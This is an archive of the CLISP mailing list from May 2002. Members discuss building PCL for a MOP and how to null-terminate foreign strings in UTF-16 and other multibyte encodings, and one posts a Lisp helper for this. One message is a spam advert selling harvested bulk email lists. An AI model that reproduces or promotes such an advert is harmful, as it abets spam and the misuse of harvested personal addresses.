Subject: Re: [clisp-list] Any thoughts on a MOP? Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200205011257.10582.peter.denno@nist.gov> In-Reply-To: <200205011257.10582.peter.denno@nist.gov> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 05:02:45 2002 X-Original-Date: Thu, 02 May 2002 14:00:40 +0200 On Wed, 1 May 2002 12:57:10 -0400, Peter Denno wrote: > Does anyone here have any thoughts on developing a MOP (such as described in > AMOP) for CLisp? Do you mean something more integrated with CLISP than PCL? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From samuel.steingold@verizon.net Thu May 02 06:14:06 2002 Received: from h031.c001.snv.cp.net ([209.228.32.141] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173GPN-0004PQ-00 for ; Thu, 02 May 2002 06:14:05 -0700 Received: (cpmta 17452 invoked from network); 2 May 2002 06:13:59 -0700 Received: from 65.114.186.226 (HELO eigen.premonitia.com) by smtp.premonitia.com (209.228.32.141) with SMTP; 2 May 2002 06:13:59 -0700 X-Sent: 2 May 2002 13:13:59 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_bytes_per_char mu st be 2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 117 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 06:15:20 2002 X-Original-Date: 02 May 2002 09:13:57 -0400 > * In message > * On the subject of "[clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_bytes_per_char mu st be 2" > * Sent on Thu, 2 May 2002 10:27:16 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I've got a FFI:WITH-FOREIGN-STRING ready, except for one single, yet > major issue/bug, without which it cannot be released. I'd like to poll > suggestion on it. > > The macro allows to circumvent the 1:1 restriction on string conversions > It's parameters are very similar to LispWorks'. > > The problem left is about byte-count for zero-terminated-strings. > > (defmacro with-foreign-string > ((foreign-variable element-count byte-count > &key (encoding 'custom:*foreign-encoding*) (null-terminated-p 'T)) > string &body body) > LispWorks says: > The macro with-foreign-string is used to dynamically convert > a Lisp string to a foreign string and execute a list of > forms using the foreign string. The macro first converts > string, a Lisp string, into a foreign string. The symbol pointer > is bound to a pointer to the start of the string, the symbol > element-count is set equal to the number of elements in the > string, and the symbol byte-count is set equal to the number of > bytes the string occupies. Then the list of forms specified by > body is executed. Finally, the memory allocated for the foreign > string and pointer is de-allocated. [...] > The null-terminated-p keyword specifies whether the foreign > string is terminated with a null character. It defaults to t. If > the string terminates in a null character, it is included in the > element-count. > > The core of the problem is: how to derive the byte-count from the > encoding, so that zero-termination makes sense? use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then NULL-terminate it and turn into a foreign string. > A single zero *byte* is not correct for all encodings, since foreign > functions receiving a UTF-16/UCS-2/UNICODE-32 string can do 16-bit or > 32-bit wide access to such a string. > Of course, I could always add 4 zero bytes at the end of the buffer, > but LispWorks' interface yields the byte-count, so I must produce > it. It's not reasonable IMHO to drop the byte-count, since the correct > buffer size may be important for foreign-functions, so the programmer > ought to know it and pass it on. > > (with-foreign-string (fv e b :encoding charset:utf-16) "abc" > (list e b)) > Ought to yield (4 10), for #(254 255 0 97 0 98 0 99 0 0) > Currently it returns (4 9). > Using charset:unicode-32 is currently not broken: > (4 8) for #(0 0 0 97 0 0 0 98 0 0 0 99 0 0 0 0) > > You can see from the example that a single 0 byte cannot terminate > UTF-16 or UCS-2 strings: 0+junk is not distinguishible from 0+97, i.e. #\a. > > > I thought I could use the min_bytes_per_char slot of > CLISP's encoding structure: > # Minimum number of bytes needed to represent a character. > uintL min_bytes_per_char; > > It works perfectly for many encodings (e.g. UCS-2, UNICODE-32, > ISO-8859-1 ...) > But it is broken for UTF-16, which is important for MS-Windows. > > The problem may be with libiconv. > > Sam Steingold says: > >are you sure you need these numbers to be correct to get the > >correct translations? > > Is there any other idea beside using this slot? > (length (convert-string-to-bytes string encoding)) > Here's the reference to the CLISP bug report with additional information: > > Bugs item #550603, was opened at 2002-04-30 08:41 > > You can respond by visiting: > > http://sourceforge.net/tracker/?func=detail&atid=101355&aid=55 > > 0603&group_id=1355 > > > Category: libiconv > > Summary: UTF-16 min/max_bytes_per_char must be 2 > > > Initial Comment: > > > impnotes says: "UTF-16, the 16-bit UNICODE character > > set. Every character is represented as two bytes." > > > However, TheEncoding->min/max_bytes_per_char is > > currently 1, resp.8. > [...] > > Regards, > Jorg Hohle. > > _______________________________________________________________ > > Have big pipes? SourceForge.net is looking for download mirrors. We supply > the hardware. You get the recognition. Email Us: bandwidth@sourceforge.net > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Small languages require big programs, large languages enable small programs. From Joerg-Cyril.Hoehle@t-systems.com Thu May 02 07:55:03 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173Hz3-0004LY-00 for ; Thu, 02 May 2002 07:55:01 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 2 May 2002 16:53:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 2 May 2002 16:54:52 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 07:56:44 2002 X-Original-Date: Thu, 2 May 2002 16:54:51 +0200 Hi, > use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then > NULL-terminate it and turn into a foreign string. > (length (convert-string-to-bytes string encoding)) My long mail was not clear enough. How many 0 bytes to put at the end? As I explained, a single 0 byte is not the answer for UTF-16, UCS-2, UNICODE-32 et al. And (ext:convert-string-to-bytes (string (code-char 0)) #) doesn't yield the correct answer either, for all encodings (hint: try UTF-7 or UTF-16). Regards, Jorg Hohle. From samuel.steingold@verizon.net Thu May 02 09:55:29 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173Jrc-0008CW-00 for ; Thu, 02 May 2002 09:55:28 -0700 Received: (cpmta 11020 invoked from network); 2 May 2002 09:55:22 -0700 Received: from 65.114.186.226 (HELO eigen.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 2 May 2002 09:55:22 -0700 X-Sent: 2 May 2002 16:55:22 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 09:56:06 2002 X-Original-Date: 02 May 2002 12:55:20 -0400 > * In message > * On the subject of "Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2" > * Sent on Thu, 2 May 2002 16:54:51 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then > > NULL-terminate it and turn into a foreign string. > > > (length (convert-string-to-bytes string encoding)) > > How many 0 bytes to put at the end? just one. > As I explained, a single 0 byte is not the answer for UTF-16, UCS-2, UNICODE-32 et al. you must strip the NULL before converting the foreign string back to a LISP string NULL is a C artifact, it has no place in the LISP world. recap: take a lisp string. convert it to bytes using any encoding. append a NULL. process as a C (ASCII, 8bit byte) string. [what use for C is the #(0 0 0 65)?!] drop the last NULL byte. [what if it's not there anymore?] convert back to LISP, using any encoding. [what if this fails?] I am pretty I am missing something here. It can't be that simple. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Bus error -- please leave by the rear door. From Joerg-Cyril.Hoehle@t-systems.com Fri May 03 04:17:21 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173b3v-0005Cp-00 for ; Fri, 03 May 2002 04:17:19 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 May 2002 13:15:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 May 2002 13:17:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 3 04:18:02 2002 X-Original-Date: Fri, 3 May 2002 13:17:04 +0200 Sam Steingold wrote: > take a lisp string. > convert it to bytes using any encoding. > append a NULL. This is misdefined, as explained previously. A single 8bit 0 is not enough. > process as a C (ASCII, 8bit byte) string. [what use for C is > the #(0 0 0 65)?!] That's multibyte at work. #\A can be represented using 16 or even 32bits. This example shows UNICODE-32-BIG-ENDIAN. C/C++/Java/xyz code which does UTF-16/UCS-2 processes strings in terms of UINT16 (or UINT32). A terminating UINT16 0 is the natural extension to 16 bits of the old 8bit C 0-termination convention for strings. That's what I believe MS-Windows and all wide-char manipulating programs etc. pp. use. A single UINT8 0 is not enough, as the example shows. In other words, such code does access in terms of (C-ARRAY-PTR UINT16), which expects a trailing 16bit 0. C-STRING is equivalent to (C-ARRAY-PTR CHARACTER), somewhat to (C-ARRAY-PTR UINT8). That's suitable for classic 8bit strings. (C-ARRAY-PTR UINT16) is of a different kind, which necessitates own manipulating functions, e.g. strlenW(). What I'm still looking for is: how many 8bit zeroes to add to correctly 0-terminate my string and tell the actual byte-count to the programmer? > It can't be that simple. Sadly, min_bytes_per_char still looks like the solution - if the slots were correct for all encodings, which they are obviously not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16). > you must strip the NULL before converting the foreign string back to a > LISP string I know, but here I'm still at Lisp->C, not the converse. But I'll get the same problem again if trying to implement LispWorks convert-from-foreign-string :null-terminated-p. The 0 to detect is 8, 16 or 32 bits wide... (CONVERT-FROM-FOREIGN-STRING # :encoding charset:ucs-4 :null-terminated-p T) must yield "A", not "" because 8bit zero was found first). That's the character equivalent of (C-ARRAY-PTR UINT32). Regards, Jorg Hohle. From samuel.steingold@verizon.net Fri May 03 06:05:49 2002 Received: from h031.c001.snv.cp.net ([209.228.32.141] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173cku-0008IJ-00 for ; Fri, 03 May 2002 06:05:48 -0700 Received: (cpmta 25658 invoked from network); 3 May 2002 06:05:42 -0700 Received: from 65.114.186.226 (HELO eigen.premonitia.com) by smtp.premonitia.com (209.228.32.141) with SMTP; 3 May 2002 06:05:42 -0700 X-Sent: 3 May 2002 13:05:42 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 3 06:06:06 2002 X-Original-Date: 03 May 2002 09:05:40 -0400 > * In message > * On the subject of "AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2" > * Sent on Fri, 3 May 2002 13:17:04 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > What I'm still looking for is: how many 8bit zeroes to add to > correctly 0-terminate my string and tell the actual > byte-count to the programmer? play safe: append max_bytes_per_char (8) NULL bytes, give the character count as the length of the original LISP string +1. > > It can't be that simple. > Sadly, min_bytes_per_char still looks like the solution - if > the slots were correct for all encodings, which they are obviously > not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16). this cannot be done properly for iconv-based encodings since there is no way to query libiconv for this information. I think these are set correctly for built-in encodings. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Lisp: it's here to save your butt. From Joerg-Cyril.Hoehle@t-systems.com Fri May 03 06:26:01 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173d4R-0004sF-00 for ; Fri, 03 May 2002 06:25:59 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 May 2002 15:24:38 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 May 2002 15:25:49 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/ max_ bytes_per_char mu st be 2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 3 06:26:07 2002 X-Original-Date: Fri, 3 May 2002 15:25:44 +0200 How to implement Lispworks' CONVERT-FROM-FOREIGN-STRING :null-terminated-p? (the converse) > play safe: append max_bytes_per_char (8) NULL bytes, give the > character > count as the length of the original LISP string +1. +1 is not correct for UTF-16, UCS-2, UNICODE-32 etc. I can add 4-8-1000 zeros, but the LispWorks API also requires telling the byte-count to the programmer. And there, +1 is not correct (unexpected odd bytecount for UTF-16/32(!), not +4, nor +2, nor +8). I don't believe (with-foreign-string (foreign elem-size bytecount :encoding :ascii :null-terminated-p) "A" (declare (ignore foreign)) bytecount) should return 1001, nor 9, nor 5. Just 2. But UCS-2 -> 4, not 3, not 1002 and UNICODE-32 -> 8 > this cannot be done properly for iconv-based encodings since there is > no way to query libiconv for this information. > I think these are set correctly for built-in encodings. I believe this too, that's why I reported this as libiconv bug. lispbibl.d has the slots and doesn't document that they may not be valid. What's left is o have iconv report on information o have CLISP use iconvo information o declare failure to implement LispWorks with-foreign-string API: no null-terminated-p, always (hidden) trailing N zeroes. o declare total failure to implement the converse function convert-from-foreign-string :null-terminated-p. That means, UTF-16 etc. strings are not usable with CLISP. E.g. No easy access to any of Microsoft's (and other) FooBarW() functions. Regards, Jorg Hohle. From peter.denno@nist.gov Fri May 03 09:38:42 2002 Received: from dribble.cme.nist.gov ([129.6.32.31]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173g4v-00086U-00 for ; Fri, 03 May 2002 09:38:41 -0700 Received: from bordercollie (lamb.mel.cme.nist.gov [129.6.71.123]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id MAA27539 for ; Fri, 3 May 2002 12:38:35 -0400 (EDT) Content-Type: text/plain; charset="iso-8859-1" From: Peter Denno Organization: National Institute of Standards and Technology To: clisp Subject: Re: [clisp-list] Any thoughts on a MOP? X-Mailer: KMail [version 1.4] References: <200205011257.10582.peter.denno@nist.gov> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200205031231.40701.peter.denno@nist.gov> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 3 09:39:15 2002 X-Original-Date: Fri, 3 May 2002 12:36:40 -0400 Thanks, Paolo. I did not realize that PCL implemented the MOP to any extent. I now see that it does. So I need to start there. Has anyone tried to compile PCL with Clisp lately? I tried to build PCL with make (using the CMU repository distribution under clisp, others do not have clisp-low.lsp nor the makefile). I hit a few problems, some of which might be spurious -- resulting from making a wrong choice somewhere. I'll look into this more, but if anyone has any immediate thoughts on any of the following, those would be appreciated: (1) Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl-orig/low.lsp ... *** - No class named: STD-INSTANCE. 0 errors, 0 warnings I wrote a work-around for this. It involves forcing find-class (the one in macros.lsp) to use the distribution's defstruct for std-instance -- not very elegant, to say the least. My compilation is not far enough along in the bootstrapping to tell whether or not my guess is ok. (2) Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl/defclass.lsp ... *** - FUNCALL: the function WALKER::SPECIAL-FORM-P is undefined This one occurs after making the workaround described above. special-form-p is used in walker:walk-form-internal. Lispworks has a function by such a name in the lw package. cmulisp doesn't, and yet pcl runs there. (3) Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl/cache.lsp ... WARNING in function MAKE-WRAPPER-INTERNAL in lines 317..381 : .GATHERING1. is neither declared nor bound, it will be treated as if it were declared SPECIAL. *** - EVAL: the function GATHER is undefined This one occurs after writing yet more work-arounds, so I may have done something wrong. Iterate.lsp exports a symbol "gather" yet doesn't provide a value for it. I don't think it is given a value anywhere (cmucl has this symbol too, but likewise it doesn't have a value (at startup) nor a function value). Any thoughts on any of this would be appreciated. On Thursday 02 May 2002 08:00 am, Paolo Amoroso wrote: > On Wed, 1 May 2002 12:57:10 -0400, Peter Denno wrote: > > Does anyone here have any thoughts on developing a MOP (such as described > > in AMOP) for CLisp? > > Do you mean something more integrated with CLISP than PCL? > > > Paolo -- Best Regards, - Peter Peter Denno National Institute of Standards and Technology, Manufacturing System Integration Division, 100 Bureau Drive, Mail Stop 8260 Tel: +1 301-975-3595 Gaithersburg, MD, USA 20899-8260 FAX: +1 301-975-4694 From samuel.steingold@verizon.net Fri May 03 11:15:33 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173hae-0003Gt-00 for ; Fri, 03 May 2002 11:15:32 -0700 Received: (cpmta 28797 invoked from network); 3 May 2002 11:15:25 -0700 Received: from 65.114.186.226 (HELO eigen.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 3 May 2002 11:15:25 -0700 X-Sent: 3 May 2002 18:15:25 GMT To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> <20020501172757.GA13192@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020501172757.GA13192@cam.ac.uk> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 3 11:29:51 2002 X-Original-Date: 03 May 2002 14:15:23 -0400 > * In message <20020501172757.GA13192@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Wed, 1 May 2002 18:27:57 +0100 > * Honorable Christophe Rhodes writes: did you try compiling CLISP with -DSAFETY=3? this should catch many problems earlier and make debugging easier. Please try it! thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux cogito cogito ergo cogito sum From tedharris@datasurplus.com Sun May 05 17:07:32 2002 Received: from 64-89-119-139.kmcmail.net ([64.89.119.139] helo=mail.sourceforge.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 174W2N-0002iM-00 for ; Sun, 05 May 2002 17:07:31 -0700 From: "Ted Harris" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_SCVZUADFZW" Content-Transfer-Encoding: 7bit Message-ID: PM20007:02:37 PM Subject: [clisp-list] Fresh Email Lists at Unbelievable Prices Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 5 17:08:10 2002 X-Original-Date: Sun, 05 May 2002 19:02:37 This is an HTML email message. If you see this, your mail client does not support HTML messages. ------=_NextPart_SCVZUADFZW Content-Type: text/html;charset="iso-8859-1" Content-Transfer-Encoding: 7bit DISCLAIMER



The Freshest Bulk Email Lists
at Deep Discount Prices

 
Datasurplus is the best source for bulk email lists. 

All lists are harvested within the last 3 weeks.

All lists are filtered for undesirable addresses such as "administrator", "info", and other unfavorable addresses.

All lists contain ".com", ".net", and ".org" addresses only.

 

CLICK HERE TO ORDER NOW


25,000 email addresses$9.95
50,000 email addresses$14.95
100,000 email addresses$24.95
250,000 email addresses$39.95
500,000 email addresses$54.95
1,000,000 email addresses$69.95


CLICK HERE TO ORDER NOW

 

DISCLAIMER: DO NOT REPLY TO THIS EMAIL. Please click here to opt-out of future mailings. You will be taken off our list at once. We apologize for any inconvenience.
------=_NextPart_SCVZUADFZW-- From haible@ilog.fr Mon May 06 04:17:46 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 174gUx-000777-00 for ; Mon, 06 May 2002 04:17:43 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g46BF5B26582 for ; Mon, 6 May 2002 13:15:05 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002050613173108675 ; Mon, 06 May 2002 13:17:31 +0200 Received: from honolulu.ilog.fr ([172.17.4.133]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g46BHU210738; Mon, 6 May 2002 13:17:30 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id NAA28001; Mon, 6 May 2002 13:15:11 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15574.26047.600982.799979@honolulu.ilog.fr> To: sds@gnu.org Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 6 04:18:03 2002 X-Original-Date: Mon, 6 May 2002 13:15:11 +0200 (CEST) Sam writes: > > Sadly, min_bytes_per_char still looks like the solution - if > > the slots were correct for all encodings, which they are obviously > > not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16). > > this cannot be done properly for iconv-based encodings since there is > no way to query libiconv for this information. There is no direct way, but an indirect one that works for all encodings except UTF-7 is as follows. (defun number-of-zero-bytes (encoding) (if (eq encoding charset:utf-7) 1 (- (length (convert-string-to-bytes (coerce (list #\Null #\Null) 'string) encoding)) (length (convert-string-to-bytes (coerce (list #\Null) 'string) encoding))))) UTF-7 is special: When you zero-terminate an UTF-7 encoded string, it is not valid UTF-7 any more. Just forget about this obsolete encoding. In the function I return 1 for it because this is what most people will expect. Bruno From justin_schreibeis@yahoo.com Mon May 06 04:34:22 2002 Received: from web13301.mail.yahoo.com ([216.136.175.37]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 174gl4-00089Z-00 for ; Mon, 06 May 2002 04:34:22 -0700 Message-ID: <20020506113422.12426.qmail@web13301.mail.yahoo.com> Received: from [63.107.5.130] by web13301.mail.yahoo.com via HTTP; Mon, 06 May 2002 04:34:22 PDT From: Justin Schreibeis To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 6 04:35:02 2002 X-Original-Date: Mon, 6 May 2002 04:34:22 -0700 (PDT) please remove me from lisp mailing list. Thanks, justin schreibeis jmschrei __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From ferguson731@yahoo.com Tue May 07 08:57:05 2002 Received: from web12601.mail.yahoo.com ([216.136.173.224]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1757Kp-0001SE-00 for ; Tue, 07 May 2002 08:57:03 -0700 Message-ID: <20020507155703.48105.qmail@web12601.mail.yahoo.com> Received: from [192.5.53.42] by web12601.mail.yahoo.com via HTTP; Tue, 07 May 2002 08:57:03 PDT From: George Ferguson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-1951484963-1020787023=:47585" Subject: [clisp-list] clisp logical pathnames on unix Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 7 08:58:01 2002 X-Original-Date: Tue, 7 May 2002 08:57:03 -0700 (PDT) --0-1951484963-1020787023=:47585 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi clisp people. Great package. Very nice work. I had a few problems using logical pathnames 